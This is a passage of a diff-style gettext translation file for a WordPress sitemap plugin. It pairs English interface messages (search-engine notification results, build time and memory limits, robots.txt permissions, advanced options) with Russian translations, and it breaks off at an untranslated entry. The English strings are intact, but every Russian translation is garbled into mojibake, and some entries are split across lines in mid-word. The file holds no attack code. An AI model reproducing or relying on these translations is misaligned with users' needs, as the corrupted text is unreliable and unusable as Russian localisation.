+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2958
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "ÐÑÐž Ð·Ð°Ð¿ÐžÑÐž ÑÐ¶Ð°ÑÐŸÐ¹ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ° Ð¿ÑÐŸÐžÐ·ÐŸÑÐ»Ð° ÐŸÑÐžÐ±ÐºÐ°. Ð£Ð±ÐµÐŽÐžÑÐµÑÑ, ÑÑÐŸ ÑÐ°Ð¹Ð» ÑÑÑÐµÑÑÐ²ÑÐµÑ Ðž ÐŸÑÐºÑÑÑ ÐœÐ° Ð·Ð°Ð¿ÐžÑÑ. <a href=\"%url%\">ÐÐŸÑÐžÑÐ°ÑÑ ÐµÑÑ</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2964
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr "Google Ð±ÑÐ» <b>ÑÑÐ¿ÐµÑÐœÐŸ Ð¿ÑÐŸÐžÐœÑÐŸÑÐŒÐžÑÐŸÐ²Ð°Ðœ</b> ÐŸÐ± ÐžÐ·ÐŒÐµÐœÐµÐœÐžÑÑ
+."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2967
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr "%time% ÑÐµÐºÑÐœÐŽ Ð·Ð°ÐœÑÐ»ÐŸ ÐžÐœÑÐŸÑÐŒÐžÑÐŸÐ²Ð°ÐœÐžÐµ Google; Ð²ÐŸÐ·ÐŒÐŸÐ¶ÐœÐŸ, ÐÐ°Ñ ÑÑÐŸÐžÑ ÐŸÑÐºÐ»ÑÑÐžÑÑ ÑÑÑ ÑÑÐœÐºÑÐžÑ, ÑÑÐŸÐ±Ñ ÑÐœÐžÐ·ÐžÑÑ Ð²ÑÐµÐŒÑ Ð¿ÐŸÑÑÑÐŸÐµÐœÐžÑ ÐºÐ°ÑÑÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3011
+#, php-format
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr "ÐÑÐž ÐžÐœÑÐŸÑÐŒÐžÑÐŸÐ²Ð°ÐœÐžÐž Google Ð¿ÑÐŸÐžÐ·ÐŸÑÐ»Ð° ÐŸÑÐžÐ±ÐºÐ°. <a href=\"%s\">ÐÐŸÑÐŒÐŸÑÑÐµÑÑ ÑÐµÐ·ÑÐ»ÑÑÐ°Ñ</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2976
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr "YAHOO Ð±ÑÐ» <b>ÑÑÐ¿ÐµÑÐœÐŸ Ð¿ÑÐŸÐžÐœÑÐŸÑÐŒÐžÑÐŸÐ²Ð°Ðœ</b> ÐŸÐ± ÐžÐ·ÐŒÐµÐœÐµÐœÐžÑÑ
+."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2979
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
+msgstr "%time% ÑÐµÐºÑÐœÐŽ Ð·Ð°ÐœÑÐ»ÐŸ ÐžÐœÑÐŸÑÐŒÐžÑÐŸÐ²Ð°ÐœÐžÐµ YAHOO; Ð²ÐŸÐ·ÐŒÐŸÐ¶ÐœÐŸ, ÐÐ°Ñ ÑÑÐŸÐžÑ ÐŸÑÐºÐ»ÑÑÐžÑÑ ÑÑÑ ÑÑÐœÐºÑÐžÑ, ÑÑÐŸÐ±Ñ ÑÐœÐžÐ·ÐžÑÑ Ð²ÑÐµÐŒÑ Ð¿ÐŸÑÑÑÐŸÐµÐœÐžÑ ÐºÐ°ÑÑÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3023
+#, php-format
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr "ÐÑÐž ÐžÐœÑÐŸÑÐŒÐžÑÐŸÐ²Ð°ÐœÐžÐž YAHOO Ð¿ÑÐŸÐžÐ·ÐŸÑÐ»Ð° ÐŸÑÐžÐ±ÐºÐ°. <a href=\"%s\">ÐÐŸÑÐŒÐŸÑÑÐµÑÑ ÑÐµÐ·ÑÐ»ÑÑÐ°Ñ</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2988
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr "Ask.com Ð±ÑÐ» <b>ÑÑÐ¿ÐµÑÐœÐŸ Ð¿ÑÐŸÐžÐœÑÐŸÑÐŒÐžÑÐŸÐ²Ð°Ðœ</b> ÐŸÐ± ÐžÐ·ÐŒÐµÐœÐµÐœÐžÑÑ
+."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2991
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr "%time% ÑÐµÐºÑÐœÐŽ Ð·Ð°ÐœÑÐ»ÐŸ ÐžÐœÑÐŸÑÐŒÐžÑÐŸÐ²Ð°ÐœÐžÐµ Ask.com; Ð²ÐŸÐ·ÐŒÐŸÐ¶ÐœÐŸ, ÐÐ°Ñ ÑÑÐŸÐžÑ ÐŸÑÐºÐ»ÑÑÐžÑÑ ÑÑÑ ÑÑÐœÐºÑÐžÑ, ÑÑÐŸÐ±Ñ ÑÐœÐžÐ·ÐžÑÑ Ð²ÑÐµÐŒÑ Ð¿ÐŸÑÑÑÐŸÐµÐœÐžÑ ÐºÐ°ÑÑÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3035
+#, php-format
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr "ÐÑÐž ÐžÐœÑÐŸÑÐŒÐžÑÐŸÐ²Ð°ÐœÐžÐž Ask.com Ð¿ÑÐŸÐžÐ·ÐŸÑÐ»Ð° ÐŸÑÐžÐ±ÐºÐ°. <a href=\"%s\">ÐÐŸÑÐŒÐŸÑÑÐµÑÑ ÑÐµÐ·ÑÐ»ÑÑÐ°Ñ</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3002
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr "ÐÑÐŸÑÐµÑÑ Ð¿ÐŸÑÑÑÐŸÐµÐœÐžÑ Ð·Ð°ÐœÑÐ» Ð¿ÑÐžÐŒÐµÑÐœÐŸ <b>%time% ÑÐµÐºÑÐœÐŽ</b> Ðž ÐžÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°Ð» %memory% MB Ð¿Ð°ÐŒÑÑÐž."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3004
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr "ÐÑÐŸÑÐµÑÑ Ð¿ÐŸÑÑÑÐŸÐµÐœÐžÑ Ð·Ð°ÐœÑÐ» Ð¿ÑÐžÐŒÐµÑÐœÐŸ <b>%time% ÑÐµÐºÑÐœÐŽ</b>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3008
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr "Ð¡ÐŸÐŽÐµÑÐ¶Ð°ÐœÐžÐµ ÐÐ°ÑÐµÐ¹ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ° <strong>ÐœÐµ ÐžÐ·ÐŒÐµÐœÑÐ»ÐŸÑÑ</strong> Ð·Ð° Ð¿ÐŸÑÐ»ÐµÐŽÐœÐµÐµ Ð²ÑÐµÐŒÑ, Ð¿ÐŸÑÑÐŸÐŒÑ ÑÐ°Ð¹Ð»Ñ ÐœÐµ Ð·Ð°Ð¿ÐžÑÑÐ²Ð°Ð»ÐžÑÑ Ðž Ð¿ÐŸÐžÑÐºÐŸÐ²ÑÐµ ÑÐžÑÑÐµÐŒÑ ÐœÐµ ÐžÐœÑÐŸÑÐŒÐžÑÐŸÐ²Ð°Ð»ÐžÑÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3012
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr "ÐÐŸÑÐ»ÐµÐŽÐœÐžÐ¹ Ð·Ð°Ð¿ÑÑÐº ÐœÐµ Ð±ÑÐ» Ð·Ð°Ð²ÐµÑÑÐµÐœ! ÐÐŸÐ·ÐŒÐŸÐ¶ÐœÐŸ, ÐÑ Ð¿ÑÐµÐ²ÑÑÐžÐ»Ðž Ð»ÐžÐŒÐžÑÑ Ð¿Ð°ÐŒÑÑÐž ÐžÐ»Ðž Ð²ÑÐµÐŒÐµÐœÐž ÐžÑÐ¿ÐŸÐ»ÐœÐµÐœÐžÑ. <a href=\"%url%\">ÐÐŸÑÐžÑÐ°ÑÑ ÐµÑÑ</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3014
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr "ÐÐŸÑÐ»ÐµÐŽÐœÐžÐ¹ ÑÐ°Ð· ÑÐºÑÐžÐ¿Ñ ÐžÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°Ð» %memused%MB Ð¿Ð°ÐŒÑÑÐž, Ð»ÐžÐŒÐžÑ Ð¿Ð°ÐŒÑÑÐž ÐÐ°ÑÐµÐ³ÐŸ ÑÐµÑÐ²ÐµÑÐ° ÑÐŸÑÑÐ°Ð²Ð»ÑÐµÑ %memlimit%."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3018
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr "ÐÐŸÑÐ»ÐµÐŽÐœÐžÐ¹ ÑÐ°Ð· ÑÐºÑÐžÐ¿Ñ ÑÐ°Ð±ÐŸÑÐ°Ð» %timeused% ÑÐµÐºÑÐœÐŽ, ÐŸÐ³ÑÐ°ÐœÐžÑÐµÐœÐžÐµ Ð²ÑÐµÐŒÐµÐœÐž ÐœÐ° ÐÐ°ÑÐµÐŒ ÑÐµÑÐ²ÐµÑÐµ ÑÐŸÑÑÐ°Ð²Ð»ÑÐµÑ %timelimit% ÑÐµÐºÑÐœÐŽ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3022
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr "Ð¡ÐºÑÐžÐ¿Ñ ÐŸÑÑÐ°ÐœÐŸÐ²ÐžÐ»ÑÑ ÐŸÐºÐŸÐ»ÐŸ ÑÑÐ°ÑÑÐž ÐœÐŸÐŒÐµÑ %lastpost% (+/- 100)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3025
+#, php-format
+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr "ÐÑÐ»Ðž ÐÑ ÑÑÐŸ-ÑÐŸ Ð¿ÐŸÐŒÐµÐœÑÐ»Ðž ÐœÐ° ÐÐ°ÑÐµÐŒ ÑÐµÑÐ²ÑÐµ ÐžÐ»Ðž Ð² ÐŽÐœÐµÐ²ÐœÐžÐºÐµ, ÐÐ°ÐŒ ÐœÐµÐŸÐ±Ñ
+ÐŸÐŽÐžÐŒÐŸ <a href=\"%s\">Ð·Ð°ÐœÐŸÐ²ÐŸ Ð¿ÐŸÑÑÑÐŸÐžÑÑ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°</a> Ð²ÑÑÑÐœÑÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3027
+#, php-format
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr "ÐÑÐ»Ðž ÐÑ ÑÑÐŸÐ»ÐºÐœÑÐ»ÐžÑÑ Ñ ÐºÐ°ÐºÐžÐŒÐž-Ð»ÐžÐ±ÐŸ Ð¿ÑÐŸÐ±Ð»ÐµÐŒÐ°ÐŒÐž Ð² Ð¿ÑÐŸÑÐµÑÑÐµ Ð¿ÐŸÑÑÑÐŸÐµÐœÐžÑ, ÐÑ ÐŒÐŸÐ¶ÐµÑÐµ Ð²ÐŸÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÑÑÑÑ <a href=\"%d\">ÑÑÐœÐºÑÐžÐµÐ¹ ÐŸÑÐ»Ð°ÐŽÐºÐž</a> ÐŽÐ»Ñ Ð¿ÐŸÐ»ÑÑÐµÐœÐžÑ ÐŽÐŸÐ¿ÐŸÐ»ÐœÐžÑÐµÐ»ÑÐœÐŸÐ¹ ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÐž."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3040
+msgid "Basic Options"
+msgstr "ÐÐ°Ð·ÐŸÐ²ÑÐµ Ð¿Ð°ÑÐ°ÐŒÐµÑÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+msgid "Sitemap files:"
+msgstr "Ð€Ð°Ð¹Ð»Ñ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3104
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+msgid "Learn more"
+msgstr "ÐÐŸÑÐžÑÐ°ÑÑ ÐµÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3049
+msgid "Write a normal XML file (your filename)"
+msgstr "ÐÐ°Ð¿ÐžÑÐ°ÑÑ ÐŸÐ±ÑÑÐœÑÐ¹ XML ÑÐ°Ð¹Ð» (ÐÐ°ÑÐµ ÐžÐŒÑ ÑÐ°Ð¹Ð»Ð°)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3055
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "ÐÐ°Ð¿ÐžÑÐ°ÑÑ Ð·Ð°Ð¿Ð°ÐºÐŸÐ²Ð°ÐœÐœÑÐ¹ XML ÑÐ°Ð¹Ð» (ÐÐ°ÑÐµ ÐžÐŒÑ ÑÐ°Ð¹Ð»Ð° + .gz)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+msgid "Building mode:"
+msgstr "Ð ÐµÐ¶ÐžÐŒ Ð¿ÐŸÑÑÑÐŸÐµÐœÐžÑ ÐºÐ°ÑÑÑ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3064
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr "ÐÐŸÑÑÑÐŸÐ¹ÑÐµ Ð·Ð°ÐœÐŸÐ²ÐŸ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°, ÐµÑÐ»Ðž ÐÑ ÐžÐ·ÐŒÐµÐœÐžÐ»Ðž ÑÐŸÐŽÐµÑÐ¶Ð°ÐœÐžÐµ ÐÐ°ÑÐµÐ³ÐŸ ÐŽÐœÐµÐ²ÐœÐžÐºÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3071
+msgid "Enable manual sitemap building via GET Request"
+msgstr "Ð Ð°Ð·ÑÐµÑÐžÑÑ ÑÑÑÐœÐŸÐµ Ð¿ÐŸÑÑÑÐŸÐµÐœÐžÐµ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ° Ñ Ð¿ÐŸÐŒÐŸÑÑÑ Ð·Ð°Ð¿ÑÐŸÑÐ° GET"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3075
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the logfile above to see if sitemap was successfully built."
+msgstr "Ð­ÑÐŸ ÑÐ°Ð·ÑÐµÑÐžÑ ÐÐ°ÐŒ ÐŸÐ±ÐœÐŸÐ²ÐžÑÑ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°, ÐµÑÐ»Ðž Ð²ÐœÐµÑÐœÐžÐ¹ ÐžÐœÑÑÑÑÐŒÐµÐœÑ Ð±ÑÐŽÐµÑ Ð¿ÐžÑÐ°ÑÑ Ð² Ð±Ð°Ð·Ñ WordPress? ÐœÐµ ÐžÑÐ¿ÐŸÐ»ÑÐ·ÑÑ WordPress API. ÐÑÐ¿ÐŸÐ»ÑÐ·ÑÐ¹ÑÐµ ÑÐ»ÐµÐŽÑÑÑÐžÐ¹ URL ÐŽÐ»Ñ Ð²ÑÐ¿ÐŸÐ»ÐœÐµÐœÐžÑ Ð¿ÑÐŸÑÐµÑÑÐ°: <a href=\"%1\">%1</a> ÐÐŸÑÐŒÐŸÑÑÐžÑÐµ Ð¿ÑÐŸÑÐŸÐºÐŸÐ» (ÑÐŒ. Ð²ÑÑÐµ) ÐŽÐ»Ñ Ð¿ÑÐŸÐ²ÐµÑÐºÐž, Ð¿ÐŸÑÑÑÐŸÐµÐœÐ° Ð»Ðž ÐºÐ°ÑÑÐ° ÑÐ°Ð¹ÑÐ°."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+msgid "Update notification:"
+msgstr "ÐÐ±ÐœÐŸÐ²ÐžÑÑ ÑÐ²ÐµÐŽÐŸÐŒÐ»ÐµÐœÐžÐµ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3083
+msgid "Notify Google about updates of your Blog"
+msgstr "Ð£Ð²ÐµÐŽÐŸÐŒÐžÑÑ Google ÐŸÐ± ÐžÐ·ÐŒÐµÐœÐµÐœÐžÑÑ
+ Ð² ÐÐ°ÑÐµÐŒ ÐŽÐœÐµÐ²ÐœÐžÐºÐµ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3084
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr "Ð ÐµÐ³ÐžÑÑÑÐ°ÑÐžÑ ÐœÐµ ÑÑÐµÐ±ÑÐµÑÑÑ, ÐœÐŸ ÐÑ ÐŒÐŸÐ¶ÐµÑÐµ Ð¿ÑÐžÑÐŸÐµÐŽÐžÐœÐžÑÑÑÑ Ðº <a href=\"%s\">ÐÐœÑÑÑÑÐŒÐµÐœÑÐ°ÐŒ Ð²ÐµÐ±-ÐŒÐ°ÑÑÐµÑÐ° Google</a> ÐŽÐ»Ñ Ð¿ÑÐŸÑÐŒÐŸÑÑÐ° ÑÑÐ°ÑÐžÑÑÐžÐºÐž Ð¿ÐŸÐžÑÐºÐŸÐ²ÑÑ
+ ÑÐŸÐ±ÐŸÑÐŸÐ²."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3088
+msgid "Notify Ask.com about updates of your Blog"
+msgstr "Ð£Ð²ÐµÐŽÐŸÐŒÐžÑÑ Asc.com ÐŸÐ± ÐžÐ·ÐŒÐµÐœÐµÐœÐžÑÑ
+ Ð² ÐÐ°ÑÐµÐŒ ÐŽÐœÐµÐ²ÐœÐžÐºÐµ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3089
+msgid "No registration required."
+msgstr "Ð ÐµÐ³ÐžÑÑÑÐ°ÑÐžÑ ÐœÐµ ÑÑÐµÐ±ÑÐµÑÑÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3093
+msgid "Notify YAHOO about updates of your Blog"
+msgstr "Ð£Ð²ÐµÐŽÐŸÐŒÐžÑÑ YAHOO ÐŸÐ± ÐžÐ·ÐŒÐµÐœÐµÐœÐžÑÑ
+ Ð² ÐÐ°ÑÐµÐŒ ÐŽÐœÐµÐ²ÐœÐžÐºÐµ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+msgid "Your Application ID:"
+msgstr "ÐÐ°Ñ ÐžÐŽÐµÐœÑÐžÑÐžÐºÐ°ÑÐŸÑ Ð¿ÑÐžÐ»ÐŸÐ¶ÐµÐœÐžÑ (Application ID):"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3155
+#, php-format
+msgid "Don't you have such a key? <a href=\"%s1\">Request one here</a>!</a> %s2"
+msgstr "Ð£ ÐÐ°Ñ ÐœÐµÑ ÑÐ°ÐºÐŸÐ³ÐŸ ÐºÐ»ÑÑÐ°?? <a href=\"%s1\">ÐÐ°Ð¿ÑÐŸÑÐžÑÐµ Ð·ÐŽÐµÑÑ</a>!</a> %s2"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3099
+#, php-format
+msgid "Modify or create %s file in blog root which contains the sitemap location."
+msgstr "ÐÐ·ÐŒÐµÐœÐžÑÑ ÐžÐ»Ðž ÑÐŸÐ·ÐŽÐ°ÑÑ ÑÐ°Ð¹Ð» %s Ð² ÐŽÐœÐµÐ²ÐœÐžÐºÐµ, ÐºÐŸÑÐŸÑÑÐ¹ ÑÐŸÐŽÐµÑÐ¶ÐžÑ ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÑ ÐŸ ÑÐ°ÑÐ¿ÐŸÐ»ÐŸÐ¶ÐµÐœÐžÐž ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3102
+msgid "File permissions: "
+msgstr "Ð Ð°Ð·ÑÐµÑÐµÐœÐžÑ ÐœÐ° ÐŽÐŸÑÑÑÐ¿ Ðº ÑÐ°Ð¹Ð»Ð°ÐŒ: "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3107
+msgid "OK, robots.txt is writable."
+msgstr "OK, robots.txt ÐŸÑÐºÑÑÑ ÐœÐ° Ð·Ð°Ð¿ÐžÑÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3109
+msgid "Error, robots.txt is not writable."
+msgstr "ÐÑÐžÐ±ÐºÐ°, robots.txt ÐœÐµ ÐŸÑÐºÑÑÑ ÐœÐ° Ð·Ð°Ð¿ÐžÑÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3113
+msgid "OK, robots.txt doesn't exist but the directory is writable."
+msgstr "OK, robots.txt ÐœÐµ ÑÑÑÐµÑÑÐ²ÑÐµÑ, ÐœÐŸ ÐºÐ°ÑÐ°Ð»ÐŸÐ³ ÐŸÑÐºÑÑÑ ÐœÐ° Ð·Ð°Ð¿ÐžÑÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3115
+msgid "Error, robots.txt doesn't exist and the directory is not writable"
+msgstr "ÐÑÐžÐ±ÐºÐ°, robots.txt ÐœÐµ ÑÑÑÐµÑÑÐ²ÑÐµÑ, Ðž ÐºÐ°ÑÐ°Ð»ÐŸÐ³ ÐœÐµ ÐŸÑÐºÑÑÑ ÐœÐ° Ð·Ð°Ð¿ÐžÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+msgid "Advanced options:"
+msgstr "Ð Ð°ÑÑÐžÑÐµÐœÐœÑÐµ Ð¿Ð°ÑÐ°ÐŒÐµÑÑÑ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+msgid "Limit the number of posts in the sitemap:"
+msgstr "ÐÐ³ÑÐ°ÐœÐžÑÐžÑÑ ÐºÐŸÐ»ÐžÑÐµÑÑÐ²ÐŸ ÑÑÐ°ÑÐµÐ¹ Ð² ÐºÐ°ÑÑÐµ ÑÐ°Ð¹ÑÐ°:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+msgid "Newer posts will be included first"
+msgstr "ÐÐŸÐ»ÐµÐµ ÐœÐŸÐ²ÑÐµ ÑÑÐ°ÑÑÐž Ð±ÑÐŽÑÑ Ð²ÐºÐ»ÑÑÐµÐœÑ Ð¿ÐµÑÐ²ÑÐŒÐž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+msgid "Try to increase the memory limit to:"
+msgstr "ÐÐŸÐ¿ÑÑÐ°ÑÑÑÑ ÑÐ²ÐµÐ»ÐžÑÐžÑÑ Ð»ÐžÐŒÐžÑ Ð¿Ð°ÐŒÑÑÐž ÐŽÐŸ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+msgid "e.g. \"4M\", \"16M\""
+msgstr "ÐœÐ°Ð¿ÑÐžÐŒÐµÑ, \"4M\", \"16M\""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+msgid "Try to increase the execution time limit to:"
+msgstr "ÐÐŸÐ¿ÑÑÐ°ÑÑÑÑ ÑÐ²ÐµÐ»ÐžÑÐžÑÑ ÐŸÐ³ÑÐ°ÐœÐžÑÐµÐœÐžÐµ Ð²ÑÐµÐŒÐµÐœÐž ÐžÑÐ¿ÐŸÐ»ÐœÐµÐœÐžÑ ÐŽÐŸ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr "Ð² ÑÐµÐºÑÐœÐŽÐ°Ñ
+, ÐœÐ°Ð¿ÑÐžÐŒÐµÑ, \"60\" ÐžÐ»Ðž \"0\" ÐŽÐ»Ñ ÐœÐµÐŸÐ³ÑÐ°ÐœÐžÑÐµÐœÐœÐŸÐ³ÐŸ Ð²ÑÐµÐŒÐµÐœÐž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Include a XSLT stylesheet:"
+msgstr "ÐÐºÐ»ÑÑÐžÑÑ ÑÐ°Ð±Ð»ÐžÑÑ ÑÑÐžÐ»ÐµÐ¹ XSLT:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Use Default"
+msgstr "ÐÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÑÑ Ð·ÐœÐ°ÑÐµÐœÐžÐµ Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Full or relative URL to your .xsl file"
+msgstr "ÐÐŸÐ»ÐœÑÐ¹ ÐžÐ»Ðž ÐŸÑÐœÐŸÑÐžÑÐµÐ»ÑÐœÑÐ¹ URL Ðº ÐÐ°ÑÐµÐŒÑ ÑÐ°Ð¹Ð»Ñ .xsl"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr "Ð Ð°Ð·ÑÐµÑÐžÑÑ ÑÑÐ°ÐœÐŽÐ°ÑÑÐœÑÐ¹ ÑÐµÐ¶ÐžÐŒ MySQL. ÐÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÑÑ ÑÐŸÐ»ÑÐºÐŸ Ð² ÑÐ»ÑÑÐ°Ðµ ÐŸÑÐžÐ±ÐŸÐº MySQL. (Ð¢ÑÐµÐ±ÑÐµÑ ÐœÐ°ÐŒÐœÐŸÐ³ÐŸ Ð±ÐŸÐ»ÑÑÐµ Ð¿Ð°ÐŒÑÑÐž!)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3166
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr "Ð¡ÑÑÐŸÐžÑÑ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ° Ð² ÑÐŸÐœÐŸÐ²ÐŸÐŒ Ð¿ÑÐŸÑÐµÑÑÐµ (ÐÐ°ÐŒ ÐœÐµ ÐœÐ°ÐŽÐŸ Ð¶ÐŽÐ°ÑÑ ÑÐŸÑ
+ÑÐ°ÐœÐµÐœÐžÑ ÑÑÐ°ÑÑÐž)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+msgid "Exclude the following posts or pages:"
